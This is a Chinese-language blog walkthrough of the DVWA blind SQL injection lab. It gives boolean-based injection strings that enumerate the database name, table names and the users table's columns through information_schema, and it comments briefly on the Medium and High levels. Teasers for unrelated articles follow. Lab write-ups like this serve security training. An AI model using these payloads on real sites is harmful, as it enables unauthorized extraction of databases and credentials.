SQL Injection (Blind)`
SQL Injection (Blind)
SQL Injection (Blind) SQL盲注,是一种特殊类型的SQL注入攻击,它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下,需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注的主要形式有两种:
1、基于布尔的盲注(Boolean based):在某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
2、基于时间的盲注(Time based):又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。
在 SQL 盲注中,字符型注入通常更容易通过页面上的不同提示来确认注入成功,而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行,而数字型注入可能会导致结果为真或假的不同条件,但页面上可能没有直接的可见区别。
Low
1、判断注入类型
代码并没有对参数做过滤或者验证,且页面返回的结果有两种
if ($exists) {// 用户存在的处理$html .= '<pre>User ID exists in the database.</pre>';
} else {// 用户不存在的处理header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');$html .= '<pre>User ID is MISSING from the database.</pre>';
}
首先判断注入的类型,前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行
(为字符型注入)
2、判断列数
接下来判断字符段数,通过尝试不同的 ORDER BY
子句中的列数,可以逐步确定实际的列数
通过类似于: 1' ORDER BY 1# 如果查询不出错,则至少为1列
1' ORDER BY 2# 如果查询不出错,则至少为2列
1' ORDER BY 3# 如果查询不出错,则至少为3列
如下,则字段数为2
3、判断数据库名、长度
接下来,判断数据库名长 , length(database()) 可以返回当前数据库名的长度,我们可以通过逻辑条件将其与一个数字进行比较,用以判断
此处,我们已经知道数据库是DVWA,长度确实是4位
1' and length(database())>3 #
1' and length(database())=4 #
1' and length(database())>4 #
判断数据库名称,使用二分法判断数据库的名称, 通过 ASCII(SUBSTR(DATABASE(), 1, 1)) 构造逻辑语句来判断数据库名称的每一个字母的ASCII码
"dvwa" 的 ASCII 码如下:
- 'd': 100
- 'v': 118
- 'w': 119
- 'a': 97
1' and ascii(substr(database(),1,1))>68 #
1' and ascii(substr(database(),1,1))<127 #
两次存在,第一个字符的ASCII值大于68,小于127 则可以确定是一个字母
1' and ascii(substr(database(),1,1))<100 #
1' and ascii(substr(database(),1,1))>100 #
两次都不存在,则可以确定该字符的ASCII码的值为100,对照可知 第一个字符为“ d ”
1' and ascii(substr(database(),X,1)) 判断第2、第3、第4位时,X分别为2、3、4
重复上述步骤,则可解出完整库名(dvwa)
4、判断数据库中表名、表长、数量
关于数据库dvwa中 的表的数量 可以用 下列SQL注入字符串 查询返回当前数据库中表的数量,如果数量符合,整个条件将为真。
1' and (select count (table_name) from information_schema.tables where table_schema=database() )
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#
如上,可知dvwa库中,有两个表
判断表1长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
由下图可见,当条件为 9 的时候 整个条件为真,所以第一个表的名长度为9
判断表2长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字 LIMIT 1, 1
表示从结果集中获取第二行,即下一个表的表名。
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 #
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
由下图可见,当条件为 5 的时候 整个条件为真,所以下一个表也就是第二张表名长度为5
猜解表名,此处和前文猜数据库名方法相似,都是构造判断条件,判断字符的ASCII码的值来确定表名。
LIMIT 0, 1
表示从结果集的第一行开始,取一行记录。后面的 ,1)
是 SUBSTR
函数的一部分,用于截取字符串的一部分。
所以我们判断第二个字母的时候 改动部分语句 limit 0,1),2,1)) 同理判断第三个字母时为limit 0,1),3,1))
根据下面的字符串,同理,重复下去可得第一个表的名字为 guestbook
#通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围
#第一个字符的 ASCII 值在97到109之间,但不包括103
#ASCII码103对应的字符是小写字母"g"
#所以第一个表的名字的第一个字符为小写字母“g"1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
LIMIT 1, 1), 1, 1)
用于选择 information_schema.tables
表中的第二个表名,并截取该表名的第一个字符。在 SQL 查询中,LIMIT 1, 1
是一个常见的用法,表示从结果集的第二行开始,取一行记录。而 SUBSTR(..., 1, 1)
则是用于截取字符串的子串,这里用于截取表名的第一个字符。
还是同理可得,根据以下的注入字符串,修改参数后,重复下去可得第二表的完整表名 users
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 显示存在
此时我们得到两个表的表名 : guestbook、users
5、猜解表中字段数量、段长、段名
判断表中的字段数量,这里我们已经知道了两表中的列数,故不再一个个尝试,用已知数直接进行判断
构造一个逻辑条件,用于检查名为 'users' 的表是否有超过4列的列数,名为”guestbook“的表是否有超过8列的列数。
1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 #
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致,差异只在于参数的不同,故不再赘述,
我们以users表为例:
用下面的注入字符串不断重复(), 可得users表的字段长分别为7,10,9,4,8,6,10,12
#检查名为 'users' 的表的第一个列名的长度是否为1
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#
…………
#检查名为 'users' 的表的第一个列名的长度是否为7
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#
关于段名的判断,还是通过ASCII码的值,
检查名为 'users' 的表的第一个列名的第一个字符的 ASCII 值是否大于 97
替换参数,重复下去可得users表的第一个字段名为user_id
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#
……………………
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#
…………
…………
重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
(这里太多,太麻烦了,我并没有全部验证,只验证了user_id字段)
Medium
相较于low,medium的代码利用 mysql_real_escape_string
函数对特殊符号进行转义,包括但不限于 \x00
, \n
, \r
, \,
, '
, "
, 和 \x1a
。、
但是我们依然可以构造语句进行注入
High
代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空,代码将触发 sleep(seconds)
函数,用于扰乱基于时间的盲注攻击。同时,SQL 查询语句中加入了 LIMIT 1
,以确保仅输出一个结果。尽管添加了 LIMIT 1
,但通过使用 #
进行注释,我们仍然能够绕过该限制。受限于sleep函数的影响,基于时间的布尔盲注的准确性会受到影响。
相关文章:

SQL Injection (Blind)`
SQL Injection (Blind) SQL Injection (Blind) SQL盲注,是一种特殊类型的SQL注入攻击,它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下,需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 盲注的主要形式有…...

NX二次开发UF_CURVE_ask_trim 函数介绍
文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_trim Defined in: uf_curve.h int UF_CURVE_ask_trim(tag_t trim_feature, UF_CURVE_trim_p_t trim_info ) overview 概述 Retrieve the current parameters of an a…...

linux的netstat命令和ss命令
1. 网络状态 State状态LISTENING监听中,服务端需要打开一个socket进行监听,侦听来自远方TCP端口的连接请求ESTABLISHED已连接,代表一个打开的连接,双方可以进行或已经在数据交互了SYN_SENT客户端通过应用程序调用connect发送一个…...

python:傅里叶分析,傅里叶变换 FFT
使用python进行傅里叶分析,傅里叶变换 FFT 的一些关键概念的引入: 1.1.离散傅里叶变换(DFT) 离散傅里叶变换(discrete Fourier transform) 傅里叶分析方法是信号分析的最基本方法,傅里叶变换是傅里叶分析的核心&…...
云原生系列Go语言篇-编写测试Part 2
基准测试 确定代码是快或慢非常复杂。我们不用自己计算,应使用Go测试框架内置的基准测试。下面来看第15章的GitHub代码库sample_code/bench目录下的函数: func FileLen(f string, bufsize int) (int, error) {file, err : os.Open(f)if err ! …...
CMake Error:No targets specified and no makefile found
在适用cmake构建项目的时候,突然遇到了这个报错 Make Error at CMakeLists.txt:1 (project): VERSION not allowed unless CMP0048 is set to NEW – Configuring incomplete, errors occurred! make: *** No targets specified and no makefile found. Stop. CMake…...

常见树种(贵州省):019滇白珠、杜茎山、苍山越桔、黄背越桔、贵州毛柃、半齿柃、钝叶柃、细枝柃、细齿叶柃木、土蜜树、山矾、胡颓子、檵木
摘要:本专栏树种介绍图片来源于PPBC中国植物图像库(下附网址),本文整理仅做交流学习使用,同时便于查找,如有侵权请联系删除。 图片网址:PPBC中国植物图像库——最大的植物分类图片库 一、滇白珠…...
java - 定时器
一、什么是定时器 定时器是指可以通过 Java 中的 Timer 类和 TimerTask 类所提供的功能来实现定期执行某些任务的工具。 标准库中提供了一个 Timer 类 . Timer 类的核心方法为 schedule . schedule 包含两个参数 . 第一个参数指定即将要执行的任务代码 , 第二个参数指定多…...

jQuery【菜单功能、淡入淡出轮播图(上)、淡入淡出轮播图(下)、折叠面板】(五)-全面详解(学习总结---从入门到深化)
目录 菜单功能 淡入淡出轮播图(上) 淡入淡出轮播图(下) 折叠面板 菜单功能 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><…...
攻防非对称问题| 当前企业面临的网络攻防非对称问题及其解决途径
随着信息技术的不断发展,网络已经成为我们日常生活和商业活动中不可或缺的一部分。然而,随之而来的是网络安全问题的不断升级。网络攻防非对称问题是当前亟待解决的一个复杂而严峻的挑战。其主要的表现是攻击成本远低于防御成本以及相同投入带来的攻击能…...

Java多线程二-线程安全
1、线程安全问题 多个线程,同时操作同一个共享资源的时候,可能会出现业务安全问题。 2、实例:取钱的线程安全问题 2.1、场景 小明和小红是夫妻,他们有个共同账户,余额是十万元,如果两人同时取钱并且各自取…...
Rust个人学习之结构体
第一反应,Rust结构体跟python的很像,不知道感觉对不对; 书中提到第一反应,Rust结构体跟python的很像,不知道感觉对不对; 书中提到:结构体是一种自定义数据类型,它允许命名多个相关的…...
kafka详细讲解与安装
Kafka是一种分布式流处理平台,具有高吞吐量、可扩展性和容错性。它最初由LinkedIn开发,现已成为Apache软件基金会的顶级项目。Kafka广泛应用于实时数据流处理、日志收集、消息队列等场景。 以下是关于Kafka的简要讲解和安装步骤: 一、Kafka…...

在我国干独立游戏开发有多难?
游戏独立开发在中国,一直以来都是一条充满挑战的道路。尽管有着无限的激情和创意,但面对市场、资金、政策等多方面的困难,许多独立开发者在这条路上艰难前行。 首先,市场竞争激烈是中国游戏独立开发者面临的首要挑战。随着游戏产…...
不可错过的网上宝藏:2023年必看的顶级资源大盘点!
亲爱的“AI uTools”读者们,大家好! 在这个信息爆炸的时代,互联网上充满了无数的资源,但如何从这海量信息中挑选出真正有用的宝藏呢?今天,我为大家精心挑选了一系列优质网站资源,涵盖了从文本处…...

日本服务器访问速度和带宽有没有直接关系?
对于许多网站和应用程序来说,服务器的访问速度是至关重要的。用户希望能够快速加载页面、上传和下载文件,而这些都与服务器的带宽有关。那么,日本服务器的访问速度和带宽之间是否存在直接关系呢? 我们需要了解什么是带宽。带宽是指网络…...
[vxe-table] vxe-table-column配合v-if导致列样式与位置错乱
<vxe-table-column v-if"pageInfo.id 4 ||pageInfo.id 8" title"上报类型" width"100" key1><template v-slot"{row}"><span>咨询工具</span></template> </vxe-table-column>//或者<vxe-ta…...
C# 忽略大小写
在 C# 中,你可以通过以下几种方式来忽略大小写: 使用 ToLower 或 ToUpper 方法将字符串转换为全小写或全大写,然后进行比较。使用 Compare 或 CompareOrdinal 方法,并传入正确的 StringComparer 实例以指示比较应该忽略大小写。使…...

大数据技术之数据安全与网络安全——CMS靶场(文章管理系统)实训
大数据技术之数据安全与网络安全——CMS靶场(文章管理系统)实训 在当今数字化时代,大数据技术的迅猛发展带来了前所未有的数据增长,同时也催生了对数据安全和网络安全的更为迫切的需求。本篇博客将聚焦于大数据技术背景下的数据安全与网络安全ÿ…...
[datastore@cyberfear.com].Elbie、[thekeyishere@cock.li].Elbie勒索病毒数据怎么处理|数据解密恢复
引言: 随着科技的进步,勒索病毒变得越来越复杂,而[datastorecyberfear.com].Elbie、[thekeyisherecock.li].Elbie勒索病毒是其中的一种令人头疼的威胁。本文将深入介绍[datastorecyberfear.com].Elbie、[thekeyisherecock.li].Elbie勒索病毒…...

通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...

基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容
基于 UniApp + WebSocket实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...
在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module
1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...

ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...

佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
前端中slice和splic的区别
1. slice slice 用于从数组中提取一部分元素,返回一个新的数组。 特点: 不修改原数组:slice 不会改变原数组,而是返回一个新的数组。提取数组的部分:slice 会根据指定的开始索引和结束索引提取数组的一部分。不包含…...
Monorepo架构: Nx Cloud 扩展能力与缓存加速
借助 Nx Cloud 实现项目协同与加速构建 1 ) 缓存工作原理分析 在了解了本地缓存和远程缓存之后,我们来探究缓存是如何工作的。以计算文件的哈希串为例,若后续运行任务时文件哈希串未变,系统会直接使用对应的输出和制品文件。 2 …...
[USACO23FEB] Bakery S
题目描述 Bessie 开了一家面包店! 在她的面包店里,Bessie 有一个烤箱,可以在 t C t_C tC 的时间内生产一块饼干或在 t M t_M tM 单位时间内生产一块松糕。 ( 1 ≤ t C , t M ≤ 10 9 ) (1 \le t_C,t_M \le 10^9) (1≤tC,tM≤109)。由于空间…...